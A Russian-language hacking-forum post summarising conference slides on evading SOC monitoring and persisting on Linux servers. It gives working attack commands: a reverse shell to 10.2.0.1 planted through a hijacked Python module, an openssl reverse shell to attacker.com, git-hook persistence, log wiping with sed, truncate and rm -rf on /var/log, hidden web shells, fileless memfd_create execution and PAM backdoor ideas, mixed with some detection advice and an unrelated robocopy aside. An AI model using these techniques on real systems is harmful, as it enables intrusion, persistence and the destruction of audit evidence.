LIMB
Вход Регистрация

тема

Избегаем назойливого внимания SOC-отделов и адаптируем свои методы в пентесте

sup · · 1 ответов · 826 просмотров

К разделу
Данная статья написана благодаря слайдов Антона Лопаницына (bo0om). Его канал в тг: https://t.me/webpwn
Конференция на которой он выступал: https://cyberwave.ru
Конференция Cyberwave 2025 ставит перед собой цель — создать платформу для обмена опытом и реальными кейсами, способствующую коллаборации с бизнесом, развитию профессионального комьюнити и хантингу нового поколения кадров в области IT и кибербезопасности.

Здесь не будет скучных лекций: только практический опыт, разбор конкретных ситуаций и возможности для нетворкинга, которых не найти на других площадках

Оформил и выпустил статью @student
Специально для forum.LIMB.cc

Не удалось прогрузить медиа

Как злоумышленники скрывают веб-шеллы и закрепляются в инфраструктуре​


1. Скрытие веб-шелла через легитимный интерфейс​


Злоумышленники маскируют веб-шеллы под обычные админ-панели. Пример — P.A.S.

Интерфейс включает вкладки типа "File Manager", "SQL Client", "Terminal", а внутри — полноценный шелл и редактор кода.

http_response_code(200); // Обычный ответ
// Внутри скрыт eval($_POST['cmd']);

:dart: Итого: Почему WAF/IDS не видит P.A.S​


МеханизмКак помогает обойтиШифрованиеНе виден payloadAJAX + POSTНет URL-индикаторовБез куки/сессийМеньше сигнатурЗаголовок 404 или 200Маскировка в логахМаскировка под легит GUIНет визуального триггераРаботает в SUIDНет видимости у мониторинга

​

:detective: Методы обхода WAF / IDS / администраторов​


Метод сокрытия / обходаОписаниеКак именно работает / Что используетсяОбфускация запросовСложность анализа сетевого трафикаJavaScript шифрует данные (часто XOR/Base64) перед отправкойИспользование AJAXЗапросы "скрыты" от классических сигнатур IDSЧастые фоновый XHR без URL-параметров и тел с JSONGET и POST методыПозволяет выбрать наименее подозрительный методПодмена метода в зависимости от настроек WAFОтсутствие PHP-сессийНет cookie, по которым можно было бы отследить вредоносную активностьНет PHPSESSID и связанных заголовковШифрование исходникаКод не содержит ключ, не поддаётся статическому анализуЗашифрованный файл, расшифровка происходит в браузереСтелс-режимПрячется от глаз (например, при прямом заходе на URL ничего нет)Работает по "секретному триггеру" (GET-параметр, куки и т.д.)Гибкость внешнего видаМожно мимикрировать под легитимные страницыМеняет интерфейс на пустой, либо маскируется под ошибку 404Использование нестандартных путейНе лежит в типичных местах типа /shell.php или /cmd.phpФайл может называться favicon.php, api.php, index.jpgРабота в SUID-режимеДействия выполняются от другого пользователя, не от www-dataИспользование уязвимостей в правах (например, через find с SUID)Без записи данных на сервереНет логов, куки, следов во временных файлахВся логика работает в памяти — как на клиенте, так и на сервереКлиентская консоль и терминалВвод команд не отражается в URL или теле POSTКоманды передаются через JS и выполняются в eval()/exec()Использование Perl/Python скриптовОбход PHP-ограничений, меньше подозренийSOCKS5, обратные подключения и т.п. запускаются внешнеСкрытие ошибок и заголовковНет X-Powered-By, нет stack trace при ошибкахerror_reporting(0), кастомные заголовки

:closed_lock_with_key: Механизм сокрытия веб-шелла (например, P.A.S)​


ЭтапЧто происходит1. Запрос к файлу шеллаДопустим, https://site.com/uploads/shell.php2. Проверка пароляСкрипт сразу проверяет: передан ли правильный ключ (обычно через POST)3. Если пароль неправильный или не переданВозвращается: HTTP 404, пустая страница, картинка, перенаправление — ничего подозрительного4. Если пароль передан и верныйКод расшифровывает основную часть интерфейса и отрисовывает полноценную веб-панель

:warning: Почему это не палится:​


  • Шифрованный трафик выглядит как мусор (не содержит сигнатур вроде ls, rm, wget, bash и т.д.).
  • Даже если админ увидит код PHP, в нём нет пароля — дешифровка работает только при вводе правильного ключа в интерфейсе.
  • IDS/WAF не смогут "расшифровать" содержимое без ключа — даже при анализе HTTP POST тела.


2. Маскировка через HTTP 404​


Злоумышленник отдает файл, но меняет код ответа на 404:

http_response_code(404);
header('Content-Disposition: attachment; filename="file.txt"');

Браузер не загружает — считает это ошибкой. Но JS может получить файл через fetch():

fetch('/backdoor.php')
.then(r => r.blob())
.then(saveBlob);

Это обходит стандартную загрузку и логи в браузере.

3. Закрепление в Git через хуки
Используется post-checkout — скрипт, который запускается при каждом переключении ветки:

echo -e '#!/bin/bash\n./pwn.sh' > .git/hooks/post-checkout
chmod +x .git/hooks/post-checkout

Теперь при любом git checkout запускается вредонос.

Тип хукаОписаниеКак используется злоумышленникамиЧто должен иметь доступ злоумышленникpost-checkoutВыполняется после переключения ветки (через git checkout)Злоумышленник может использовать этот хук для выполнения вредоносных скриптов при переключении ветки, например, скачивания и запуска C2 агента.Доступ к репозиторию для изменения хуков или добавления файлов.post-commitВыполняется после выполнения команды git commitМожет быть использован для выполнения вредоносных действий после каждого коммита. Например, отправка данных на удалённый сервер.Доступ к репозиторию для добавления хука или изменений в процессе коммита.pre-commitВыполняется перед коммитом, может остановить коммитМожет быть использован для модификации содержимого перед коммитом или добавления вредоносных данных в репозиторий до того, как коммит будет сохранён.Доступ к репозиторию для модификации или добавления хуков.post-mergeВыполняется после слияния веток (через git merge)Может быть использован для выполнения вредоносных скриптов или кода после слияния веток, например, для установки C2 агента.Доступ к репозиторию для добавления или изменения хука в процессе слияния веток.pre-pushВыполняется перед отправкой изменений в удалённый репозиторий (через git push)Может быть использован для проверки перед отправкой изменений, включая скрипты для загрузки вредоносных файлов или отправки данных на сервер злоумышленника.Доступ к репозиторию для добавления или изменения хуков перед пушем.pre-receiveВыполняется на сервере перед получением данных (перед пушем в удалённый репозиторий)Используется для контроля получаемых изменений и может быть использован для выполнения вредоносных действий до того, как изменения будут приняты на сервере.Доступ к серверу Git для изменения хуков или выполнения вредоносных команд на сервере.updateВыполняется перед обновлением ссылки на ветку (например, при пуше на сервер)Может использоваться для внедрения вредоносных данных при пуше, например, добавление скриптов в ветку при обновлении её на сервере.Доступ к серверу Git для изменения хуков или выполнения команд перед обновлением ветки.post-receiveВыполняется на сервере после получения изменений (после пуша в репозиторий)Может использоваться для выполнения вредоносных действий на сервере после получения изменений, например, скачивание и запуск C2 агента.Доступ к серверу Git для добавления вредоносных хуков и выполнения команд после получения данных.post-mergeВыполняется после слияния ветки с другой (например, после git merge)После слияния веток можно выполнить вредоносные действия, например, слияние кода с удалённого сервера или запуск скриптов.Доступ к репозиторию или серверу Git для внедрения вредоносных действий после слияния.

К чему должен иметь доступ злоумышленник:​


Злоумышленник должен иметь доступ к репозиторию для добавления, изменения или создания хуков Git. Это может быть доступ к:
  1. Локальному репозиторию (если он работает непосредственно с репозиторием на своём компьютере).
  2. Удалённому серверу Git (если злоумышленник имеет доступ к серверу, где размещён репозиторий).
  3. Доступ к хукам Git: доступ к директории .git/hooks для добавления или изменения существующих хуков.
  4. Доступ к системе для выполнения команд: в случае, если хук запускает вредоносный скрипт, злоумышленник должен иметь возможность загрузить и выполнить его на целевой машине.

Как это работает в качестве закрепа:​


  • Вредоносный код в хука: После того как злоумышленник изменит или добавит хук в репозиторий, хук будет выполнять вредоносные действия при выполнении соответствующей команды Git (например, git checkout, git commit, git push и т. д.). Это может включать скачивание и запуск вредоносных программ, таких как C2 агенты, которые могут подключать систему к серверу злоумышленника.
  • Автоматизация атак: С помощью хуков можно автоматически запускать вредоносные действия без ведома пользователя, что позволяет злоумышленнику закрепить свою атаку на длительное время. Например, каждый раз при переключении ветки или при коммите может выполняться вредоносный код, скрытый от внимания пользователя.

Как защищаться​


  • Мониторинг системных хуков (.git/hooks)
  • SIEM с поведенческим анализом (нестандартные ответы сервера)
  • Проверка файлов в tmp/, uploads/, .git/
  • WAF с контролем JavaScript-запросов


Как SOC может обнаружить такую активность?​


На одном из представленных слайдов показан вывод команды stat, отображающий временные метки файла:


  • Access — последнее время доступа к файлу.
  • Modify — последнее изменение содержимого.
  • Change — последнее изменение метаданных (например, прав доступа, имени).
  • Birth — время создания файла (если поддерживается).

Если злоумышленник создал или изменил файл хука, это отразится на этих метках. Особенно важна метка Change, которая покажет, когда файл изменился даже без изменения содержимого (например, изменение прав или владельца).



Важность отслеживания временных аномалий​


Аномалии во времени файлов — это важный индикатор компрометации. Вот несколько ситуаций, которые могут указывать на злоумышленную активность:


  • Время изменения (Modify) хука значительно отличается от времени других файлов проекта.
  • Время изменения файла в будущем — может свидетельствовать о попытке "скрыть" следы (например, выставив дату в 2025).
  • Частые и неожиданные изменения Change у .git/hooks/* файлов.
  • Изменения в системных файлах ночью или в нерабочее время.


Практика: автоматизация обнаружения​


SOC-аналитики могут использовать инструменты вроде inotify, auditd, OSSEC/Wazuh или File Integrity Monitoring (FIM), чтобы:


  • Следить за директориями .git/hooks/.
  • Отслеживать изменения временных меток.
  • Настраивать алерты на аномалии (например, если Change изменился без логируемых действий пользователя).

Также стоит реализовать базовые политики:


  • Внедрение immutable-флагов для .git/hooks.
  • Хэширование содержимого хуков и проверка на отклонения.

:tools: Работа с командной строкой без следов: SSH, Bash и лог-файлы​


В операционных системах Linux/Unix мы оставляем за собой множество цифровых "следов": в истории команд, логах системы, аудите и других журналах. Это может быть проблемой как для пентестеров, так и для системных администраторов в рамках тестирования, CTF или при изучении безопасной автоматизации. В этой статье мы разберём, как выполнять команды, минимизируя цифровой "шум".

:closed_lock_with_key: Запуск команд через SSH без следов​


Обычно при подключении к серверу по SSH, ваша система сохраняет отпечаток ключа удалённого хоста, а SSH клиент может запрашивать подтверждение при первом подключении. Это неудобно при автоматизации, скриптах или в Red Team сценариях.

Code: 
ssh [email protected] \
  -o UserKnownHostsFile=/dev/null \
  -o StrictHostKeyChecking=no \
  command blabla -foo -bar

Что делает каждая опция:​


  • UserKnownHostsFile=/dev/null — не сохраняет известные хосты.
  • StrictHostKeyChecking=no — отключает проверку "доверия" к хосту.
  • В конце выполняется удалённая команда.

Важно: Это снижает безопасность соединения. Используйте такие флаги только в контролируемой среде.

:brain: Обход Bash-истории​


Bash сохраняет все ваши команды в ~/.bash_history. Это удобно, но иногда нежелательно. Есть несколько способов "обойти" это:


Способ 1: Пробел перед командой​


Если в переменной окружения HISTCONTROL=ignorespace, команда, начинающаяся с пробела, не попадёт в историю.

echo "секретная команда"

Способ 2: Отключить файл истории

unset HISTFILE

:skull: Убийство текущего Shell'а

kill -9 $$

Это завершит текущий shell-процесс (PID указывается через $$). Иногда это используется для экстренного выхода без сохранения состояния или логов.

Шутка со слайда: "Роскомнадзор, это не то, что ты подумал!" — подчёркивает ироничность термина "убить себя" в терминальном контексте

:broom: Чистим следы: удаление логов​


Если вы действительно хотите, чтобы ваши действия было сложно отследить (например, при моделировании действий атакующего), можно вручную очистить журналы:

sed -i '$ d' /var/log/secure
sed -i '$ d' /var/log/wtmp
sed -i '$ d' /var/log/lastlog
cd /var/log/journal && rm -rf *

Также можно обрезать файлы логов до заданного размера:

truncate /var/log/auth.log -s 0
truncate /var/log/audit/audit.log -s 0
truncate /root/.bash_history -s 0

SOC

:closed_lock_with_key: Access management – 2FA/PAM (например Teleport) c session recording​


:small_blue_diamond: 2FA — двухфакторная аутентификация (например, пароль + токен или SMS).


:small_blue_diamond: PAM (Pluggable Authentication Modules) — система модулей аутентификации в Linux, позволяет централизованно управлять доступом.


:small_blue_diamond: Teleport — современное решение для безопасного доступа к серверам (SSH), Kubernetes, базам данных и приложениям. Умеет:


  • Записывать SSH-сессии (session recording).
  • Централизованно управлять доступом.

:pushpin: Вывод: современные SOC (Security Operations Center) используют такие решения, чтобы видеть, что именно делают пользователи во время сессии.



:receipt: Заменяем sh/bash на логгирующий shell​


О чём речь:


  • Обычные шеллы (sh, bash) не ведут централизованный журнал действий.
  • Можно использовать обёртку (оболочку), которая логирует каждую команду и отправляет логи, например, в syslog (системный журнал).

:brain: Примеры: sudosh, tlog, grubby, или кастомный скрипт, который перехватывает команды.


:pushpin: Это нужно, чтобы даже при отключённой bash_history команда всё равно была записана в лог.



:face_with_raised_eyebrow: Ну и вы же не тупые, чтоб мониторить .bash_history, да?​


Это сарказм. Автор намекает, что мониторинг .bash_history — это слишком наивный способ отслеживания действий пользователя, потому что:


  • .bash_history легко отключается (unset HISTFILE, HISTCONTROL, запуск с пробелом и т.п.).
  • Можно просто удалить файл или обрезать его.


:detective: Тру чуваки мониторят системные вызовы: exec, execve (через auditd, eBPF)​


:small_blue_diamond: exec, execve — системные вызовы в Linux, с помощью которых запускаются программы.


:small_orange_diamond: auditd — системный демон, который может логировать такие вызовы: кто, что и когда запускал.


:small_orange_diamond: eBPF — мощный механизм для наблюдения за ядром Linux в реальном времени. Позволяет:


  • Отслеживать системные вызовы.
  • Реагировать на них.
  • Собирать аналитику без большого overhead.

:pushpin: Такие методы — профессиональный уровень мониторинга.



:man_technologist: А хакер, в свою очередь, читает конфигурации auditd​


То есть:


  • Хакер понимает, что за ним следят.
  • Он смотрит, какие события логируются, через конфигурации auditd.
  • И старается обходить их, например, не вызывая exec, или подменяя бинарники.

Использование io_uring для обхода мониторинга безопасности.


:cyclone: io_uring: асинхронный ввод-вывод и новая угроза​


:pushpin: Что такое io_uring?​


io_uring — это современный интерфейс для асинхронного ввода-вывода в Linux, представленный в ядре 5.1. Он позволяет приложениям:


  • Обращаться к файловым дескрипторам (файлы, сокеты и т.д.)
  • Асинхронно читать/писать данные
  • Делать это молниеносно и эффективно, используя ring-буферы в user space и kernel space.

:chart_with_upwards_trend: Раньше такие операции использовали стандартные системные вызовы (read, write, epoll, select), которые легко перехватывались инструментами мониторинга (например, auditd, strace, eBPF).



:dark_sunglasses: Почему это опасно с точки зрения безопасности?​


Тут начинается самое интересное.


Пример с curing:​


:link: https://github.com/armosec/curing


Это инструмент, который:


  • Использует io_uring для взаимодействия с системой.
  • Не вызывает привычные системные вызовы типа execve, open, read, write напрямую.
  • В результате — не попадает под большинство детекторов, которые построены на отслеживании системных вызовов.

Что это даёт атакующему?​


  • Возможность "обходить" eBPF, auditd и другие поведенческие анализаторы.
  • Маскировку своих действий под "невинный" процесс.


:dart: Почему SOC это пугает?​


:man_technologist: Вся современная телеметрия в Linux построена на анализе системных вызовов:


  • eBPF смотрит execve, openat, connect и т.д.
  • auditd логирует каждый вызов.
  • SIEM получает события и строит корреляции.

А io_uring — не вызывает этих событий напрямую, что делает его идеальным инструментом для:


  • Стелс-атак
  • Создания "невидимых" тулз
  • Обхода поведения, которое раньше считалось подозрительным


:brain: Вывод​


В 2025 году безопасность Linux должна учитывать io_uring:


  • Нужно пересматривать инструменты наблюдения.
  • Разрабатывать eBPF-сенсоры на уровень взаимодействия с ring buffer'ами.
  • Понимать, что просто мониторинг execve и open — уже недостаточен.

:pushpin: Что важно знать:​


1. :closed_lock_with_key: Скрытие процессов возможно несколькими способами:​


  • Через LD_PRELOAD (подмена системных вызовов на уровне user space).
  • Через модули ядра (LKM rootkits) — они могут полностью убрать процесс из /proc.
  • Использование procfs-намекинга — подделка имени, отображающегося в списках процессов.

2. :brain: Хитрые атаки используют kworker/ksoftirqd/migration и другие "шумовые" процессы для маскировки.​



:shield: Как защищаться​


:link: В твоём сообщении ссылка на полезную статью:


Detecting Linux Kernel Process Masquerading with Command Line Forensics


Основные идеи оттуда:


  1. Сравнивать выводы ps, top, /proc и lsof — несоответствия могут выдать фейковый процесс.
  2. Использовать stat и readlink в /proc/[pid]/exe — иногда маскарад можно "разоблачить".
  3. Проверять:
    • Необычные владельцы системных процессов.
    • UID ≠ 0 у процессов с root-именем.

:bar_chart: Таблица: анализ процесса через /proc/[PID]/​


ПутьНазначениеЧто искать при анализеКоманда проверки/proc/[PID]/cmdlineКоманда и аргументы запускаСтранные аргументы, маскировка (--hidden, -z)cat /proc/31337/cmdline/proc/[PID]/environПеременные окружения процессаLD_PRELOAD, изменённые PATH, HOME, SHELLtr '\0' '\n' < /proc/31337/environ/proc/[PID]/statusИнформация о UID, GID, состоянии, памяти, сигналах и др.UID ≠ root, но GID = 0, подозрительная активностьcat /proc/31337/status/proc/[PID]/cwdТекущая рабочая директория процесса (символическая ссылка)Работа из /tmp, /dev/shm, /var/tmpls -l /proc/31337/cwd/proc/[PID]/exeСсылка на исполняемый файлБинарник в нестандартном месте, (deleted)ls -l /proc/31337/exe/proc/[PID]/fd/Каталог открытых файловых дескрипторовНеобычные сокеты, открытые /dev/mem, /tmp, сетевые соединенияls -l /proc/31337/fd/

"Не создавай новых сущностей — используй уже существующие и маскируйся под них."

:performing_arts: Притворяется легитимным:​


СтратегияПример:jigsaw: Использует окружение жертвыЗапускается из /usr/bin, /opt/vendor/ вместо /tmp или домашнего каталога.:brain: Переиспользует бинарники и интерпретаторыВместо запуска python3 evil.py — запускает python3 от имени легитимного скрипта (/usr/share/foo/normal.py) с инжектом.:dna: Встраивается в уже работающие процессыЧерез LD_PRELOAD, ptrace, инжекцию в php-fpm, python, node или java-процессы.:tools: Использует systemd-юниты, похожие на настоящиеНе evil.service, а dbus-user-session.service.:shell: Не запускает bash напрямуюА использует sh, или shell-интерпретации внутри legit-скриптов.


:books: Откуда в Linux загружаются библиотеки​


Когда ты запускаешь программу, она может использовать не только собственный код, но и внешние библиотеки (например, libc.so, libssl.so и т.д.). Эти библиотеки подгружаются динамически во время выполнения через механизм ld.so.



:small_blue_diamond: 1. Стандартные пути​


Обычно система ищет библиотеки в предопределённых директориях:


  • /lib
  • /lib64
  • /usr/lib
  • /usr/lib64
  • /usr/local/lib

:pushpin: Эти директории входят в дефолтный путь поиска, и там лежат системные библиотеки.



:small_blue_diamond: 2. Файл /etc/ld.so.conf и папка /etc/ld.so.conf.d/​


Это конфигурация динамического загрузчика ld.so. Она может:


  • Расширить список директорий, где искать библиотеки.
  • Указать специфические пути, нужные для стороннего ПО.

:pushpin: Также можно добавлять конфиги по одному в /etc/ld.so.conf.d/*.conf


:mag: Команда для применения изменений:

ldconfig

:small_blue_diamond: 3. Переменная окружения LD_PRELOAD​


Это мощнейший (и опасный) механизм!


  • Позволяет "впихнуть" свою библиотеку ДО того, как программа загрузит системные.
  • Используется:
    • Для отладки.
    • Для внедрения хука (подмены) системных функций, например read(), execve().
    • В атаках (поведение программы можно изменить без изменения её кода).

:pushpin:
Пример: подмена malloc() в libc своей реализацией:
LD_PRELOAD=/tmp/mylib.so ./some_program


:pushpin: Так делают rootkit'ы, скрывающие файлы, процессы, и даже сетевые соединения.



:brain: Вывод:​


ИсточникНазначениеОпасность / Механизм атаки/lib, /usr/libСистемные библиотекиНадёжные, если не были подменены/etc/ld.so.confРасширение путей поискаМогут быть изменены злоумышленникомLD_PRELOADПодмена поведения библиотек в рантаймеОдин из основных способов инжекции


:open_file_folder: Что такое /dev/shm​


/dev/shm — это каталог, предоставляющий доступ к разделяемой памяти (shared memory) через файловую систему.


:small_blue_diamond: Ключевые особенности:​


СвойствоОписание:floppy_disk: РасположениеЭто tmpfs — файловая система в оперативной памяти (RAM).:zap: БыстродействиеОчень быстрое чтение/запись (в разы быстрее, чем SSD/HDD).:bust_in_silhouette: ДоступностьДоступна всем пользователям по умолчанию.:package: РазмерОбычно ~50% от общего объёма RAM.:soap: Очищается при перезагрузкеКак и /tmp.



:firecracker: Почему /dev/shm любят атакеры​


ПричинаОбъяснение:hole: Почти никто не мониторитSOC редко следит за содержимым /dev/shm.:test_tube: Исполняемый код в RAMМожно туда положить payload, скрипт, бинарник — и запустить без следов на диске.:shield: Избегание антивирусов и EDRМногие не сканируют tmpfs.:ninja: Встроенная маскировкаМожно назвать файл /.X11-unix или cache.tmp — никто не заподозрит.

:brain: Суть: Privilege Escalation via Python Library Hijacking​


Если приложение от root'а запускает Python-скрипт и импортирует библиотеку из той же директории, где обычный пользователь может создать файл — ты можешь подменить эту библиотеку и получить root-доступ.

:round_pushpin: Что происходит в твоём примере:​


:small_orange_diamond: 1. Ты на машине под обычным юзером (www-data):​


-rw-r--r-- 1 www-data www-data 434 Sep 12 00:26 zipfile.py

Ты создаёшь файл zipfile.py, названный в точности как стандартная Python-библиотека

:small_orange_diamond: 2. Где это происходит?

/var/www/

то директория, где обычно работают веб-сервисы (например, Apache, Nginx + PHP + Python).
И ты можешь туда писать от имени www-data (низкий уровень доступа).

:small_orange_diamond: 3. Затем root запускает скрипт backup.py:
-rw-r----- 1 root root 353 Sep 11 23:44 backup.py

Он, возможно, делает что-то вроде:

import zipfile

:exclamation: А Python по умолчанию ищет модули в текущей директории, а уже потом в системных:

import sys
print(sys.path)

Обычно первым путём будет './', то есть директория запуска.

:small_orange_diamond: 4. Ты в свой zipfile.py вписал reverse shell:
import os
os.system("bash -i >& /dev/tcp/10.2.0.1/4444 0>&1")

:small_orange_diamond: 5. Когда root запускает backup.py:​


Он импортирует не настоящую zipfile, а твою зловредную версию, которая тут же открывает обратное соединение (reverse shell) на твой хост.

:small_orange_diamond: 6. Ты ловишь соединение через ncat:
ncat -v -l -p 4444

И получаешь доступ от root:
id
uid=0(root) gid=0(root) groups=0(root)

:closed_lock_with_key: Как защититься (для Blue Team):​


Что делатьКак реализовать:x: Не запускать скрипты от root в доступных директорияхИспользовать /root, /opt, systemd, sandbox:white_check_mark: Использовать абсолютные импорты и virtualenvИ исключить текущую директорию из sys.path:lock: Сканировать директории на наличие ложных библиотекИспользовать find + анализ импорта:test_tube: Проверять PYTHONPATH, LD_LIBRARY_PATHВ системах с повышенными правами

Скрытое исполнение бинарников из памяти — без следов на диске.
ассмотрим, что происходит при использовании memfd_create, shm_open и fexecve, и почему это опасно для системной безопасности.



:brain: Что происходит?​


:jigsaw: Компоненты:​


Системный вызовЧто делаетmemfd_createСоздаёт анонимный файл в оперативной памяти, не видимый в файловой системе.shm_openСоздаёт объект разделяемой памяти, появляющийся в /dev/shm (можно видеть).fexecveВыполняет бинарный файл напрямую из дескриптора, без необходимости иметь файл на диске.



:pushpin: Как работает атака (примерный сценарий):​


Скрипт или программа создаёт временный исполняемый файл в памяти:

int fd = memfd_create("hidden_bin", MFD_CLOEXEC);
write(fd, payload, payload_size);

  • Файл не отображается в ls, find, lsof — он в памяти.
  • Процесс запускается прямо из памяти:

char *const argv[] = {NULL};
char *const envp[] = {NULL};
fexecve(fd, argv, envp);

  1. Процесс живёт, работает, но:
    • Бинарник не существует на диске.
    • Происхождение не отследить обычными методами (lsof, stat, ls, auditd без eBPF).


:fire: Почему это опасно?​


УгрозаПричина:detective: АнтифорензикаНи следа на диске, ничего не записывается на файловую систему.:dna: Обход антивирусов/EDRAV не может просканировать то, чего нет на диске.:boom: Атака из dropper'аМожно передать payload напрямую через сокет и исполнить из памяти.:chart_with_downwards_trend: Невидим для большинства мониторинговДаже auditd часто не фиксирует это, без eBPF.



:shield: Как защититься​


МетодИнструмент/подход:brain: Использовать eBPF-трейсингbcc, tracee, cilium/ebpf — отслеживать memfd_create + fexecve.:mag: Мониторинг /procПроверять exe, maps, fd на отсутствие обычного бинарника.:closed_lock_with_key: SELinux/AppArmorОграничивать использование memfd_create/fexecve не доверенными процессами.:no_entry_sign: Ограничить /dev/shmУменьшить размер, изменить права, монтировать с noexec.



:paperclip: Полезный ресурс:​


:point_right: GitHub: memfd-process-hide
Показывает PoC, где бинарник никогда не появляется на диске, а исполняется прямо из RAM.

Openssl как инструмент для побега, реверс-шелла или передачи данных в зашифрованном виде.
Генерируем самоподписанный серт
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

  • -x509 — сертификат X.509 (TLS/SSL)
  • -newkey rsa:4096 — сгенерировать новый RSA-ключ длиной 4096 бит
  • -keyout key.pem — сохранить приватный ключ
  • -out cert.pem — сохранить публичный сертификат
  • -days 365 — срок действия
  • -nodes — без пароля (удобно для автоматизации)

:file_folder: Итог: у тебя есть key.pem и cert.pem для TLS.

Запускаем сервер
openssl s_server -quiet -key key.pem -cert cert.pem -port 443

  • TLS-сервер слушает порт 443 (или другой)
  • -quiet отключает отладочную информацию

:closed_lock_with_key: Сервер зашифрован, но:

  • Не требует ни Python, ни Nginx
  • Работает даже в изолированных или ограниченных окружениях

Подключение как клиент:​


openssl s_client -quiet -connect $RHOST:$RPORT

  • Подключение по TLS к хосту $RHOST, порт $RPORT
  • Можно отправлять/принимать данные, включая обратную шелл-сессию

:warning: Использование в offensive security​


GTFOBins: OpenSSL показывает, как openssl можно использовать для:


:skull_crossbones: Обратного шелла (reverse shell)​


RHOST=attacker.com
RPORT=443
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1

А через openssl:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s

:package: Почему OpenSSL попал в GTFOBins?​


  • Почти всегда установлен
  • Можно использовать для эксфильтрации, командного и обратного соединения
  • Часто не блокируется системами контроля приложений


:shield: Защита​


  • Мониторинг запуска openssl s_client/s_server
  • Ограничение прав пользователей (через AppArmor/SELinux)
  • Анализ нестандартных TLS-соединений
  • Лимит на исходящие соединения с внутреннего хоста

Если работаешь пентестером в РФ
1. Арендуешь виртуалку в Yandex Cloud
2. Выпускаешь (даже) самоподписанный серт yandex.ru
3. Суешь в /etc/hosts browser.yandex.ru (ну или тип того)
4. И бинарь типа яндекс, ну и радуешься жизни

:x: Почему ICMP data channel — "говно" для хакера:​


1. ICMP = красная тряпка для безопасности​


  • ICMP часто логируется, фильтруется, ограничивается на периметрах и внутренних фаерволах.
  • Инфосек команды уже 20 лет знают про ICMP-туннели, и многие IDS/IPS (Suricata, Zeek, Snort) умеют их распознавать по шаблонам.

2. Низкая пропускная способность​


  • Payload в ICMP ограничен (обычно ≤ 1472 байт, но реально — меньше, если MTU, NAT, фрагментация).
  • Передача больших объёмов (например, бинарников или данных) — мучительно медленная и палевная.

3. Формат предсказуем​


  • ICMP Echo Request/Reply — фиксированная структура.
  • Добавление нестандартного payload быстро бросается в глаза: необычные длины, частые ICMP-ответы, нестандартные интервалы.

4. Инструменты детектирования легко доступны​


  • ping_tunnel, icmp_tunnel, ptunnel давно известны и сигнатурно детектируются.
  • Даже базовая SIEM-система с нормальным логированием поймает аномальный ICMP-трафик.

5. ICMP может быть полностью заблокирован​


  • Многие корпоративные сети вообще запрещают ICMP или разрешают только Time Exceeded, Destination Unreachable.
  • Часто в cloud-инфраструктуре ICMP не доходит до ВМ — особенно с публичного интернета.


:skull: Кто использует ICMP-туннели в 2025?​


  • Скрипт-кидди на CTF
  • Лабораторная демонстрация
  • Анализ фейковых атак или honeypot-трафика

:red_circle: Реальные APT используют:


  • TLS/HTTPS каналы через Cloudflare, Telegram API, DNS over HTTPS
  • Tor, I2P, QUIC, WebSockets
  • Туннелирование через Dropbox, Slack, GitHub Actions

:x: Почему DNS TUNNEL — плохой выбор:​


1. Очень легко детектировать​


  • Аномально длинные запросы, часто base32/base64-кодированные
    • Например: jkf87sdfas89dfas7f8d9f.domain.com
  • Много запросов к одному домену = аномалия (особенно если это поддомен)
  • Современные IDS/IPS (Zeek, Suricata, Cisco Secure) имеют готовые сигнатуры и поведенческие модели

2. DNS-запросы логируются везде​


  • На шлюзе, у провайдера, в облаке, в SIEM.
  • Даже если ты используешь DoH/DoT (DNS over HTTPS/TLS), это заметно как аномальный трафик.

3. Маленький объем данных​


  • Один DNS-запрос: ~255 байт на имя (максимум)
  • Один DNS-ответ: тоже ограничен
  • Передавать файлы, шеллы или команды — очень медленно и топорно

4. Многие организации мониторят выходящие DNS-запросы​


  • Только известные резолверы (Google DNS, Cloudflare, internal DNS)
  • Запросы к подозрительным или малоизвестным доменам блокируются или алертуются
  • DNS-запросы к несуществующим поддоменам (NXDOMAIN-шторм) — триггер для расследования

5. Многие компании уже режут это на корню​


  • Запрещают запросы к внешним резолверам (8.8.8.8, 1.1.1.1)
  • Разрешают DNS только через корпоративный резолвер
  • Инспектируют DNS over HTTPS (DoH) по SNI/JA3/доменам

Robocopy с указанными параметрами — это очень эффективный способ копирования файлов в Windows
robocopy c:\reports "\\marketing\videos" yearly-report.map /mt /z

  • Источник: файл yearly-report.map будет скопирован из папки c:\reports.
  • Назначение: файл будет скопирован в папку \\marketing\videos (сетевое расположение).
  • Многопоточность: копирование будет происходить с использованием нескольких потоков для ускорения процесса.
  • Возобновление: если копирование будет прервано, оно продолжится с того места, где остановилось.

Дополнительные примеры опций:​


  • /e: Копировать все подкаталоги, включая пустые.
  • /mir: Создать зеркальную копию (удаляет файлы в целевой папке, если их нет в источнике).
  • /log:logfile.txt: Сохранить лог выполнения в файл logfile.txt.

Заключение:​


Команда robocopy с указанными параметрами — это очень эффективный способ копирования файлов в Windows, особенно когда требуется высокая производительность и надежность при копировании больших объемов данных.

1. Закрепления через юзерспейс ядра (например, eBPF):​


eBPF (Extended Berkeley Packet Filter) — это мощный инструмент в Linux, который позволяет исполнять произвольный код в ядре системы без необходимости писать или компилировать модуль ядра. С помощью eBPF можно эффективно мониторить, отлаживать, и изменять поведение ядра и приложений в реальном времени. Он также используется для расширенной фильтрации пакетов, мониторинга, анализа производительности и даже в целях безопасности. В контексте безопасности, eBPF может быть использован для:


  • Мониторинга системных вызовов.
  • Изменения поведения ядра (например, внедрение или обход механизмов защиты).
  • Обход ограничений SELinux/AppArmor.
  • Внедрение эксплойтов и создание скрытых "backdoor"-ов.

Если говорить о методах закрепления, то через eBPF можно сделать очень тонкие внедрения, которые сложно обнаружить обычными средствами мониторинга, так как код может исполняться на уровне ядра, не привлекая внимания.


2. Патчинг PAM (Pluggable Authentication Modules):​


Патчинг PAM (или модификация его поведения) может быть использован для внедрения backdoor в систему. PAM — это система аутентификации в Unix-подобных операционных системах, которая позволяет подключать различные механизмы аутентификации (например, через пароли, биометрические данные и т. д.).


  • Подмена модуля PAM: В твоем примере pam_unix.so — это стандартный модуль аутентификации, который обрабатывает проверку паролей через /etc/passwd или /etc/shadow. Если ты заменишь этот модуль на модифицированную версию (как в твоем примере), которая выполняет скрытую логику, то сможешь внедрить backdoor.
  • Пример с backdoor: Используя патчинг PAM, можно создать скрипт (например, backdoor.sh), который заменяет стандартный модуль на вредоносный. Этот модуль может, например, пропускать аутентификацию для определенных пользователей или запускать определенные команды.

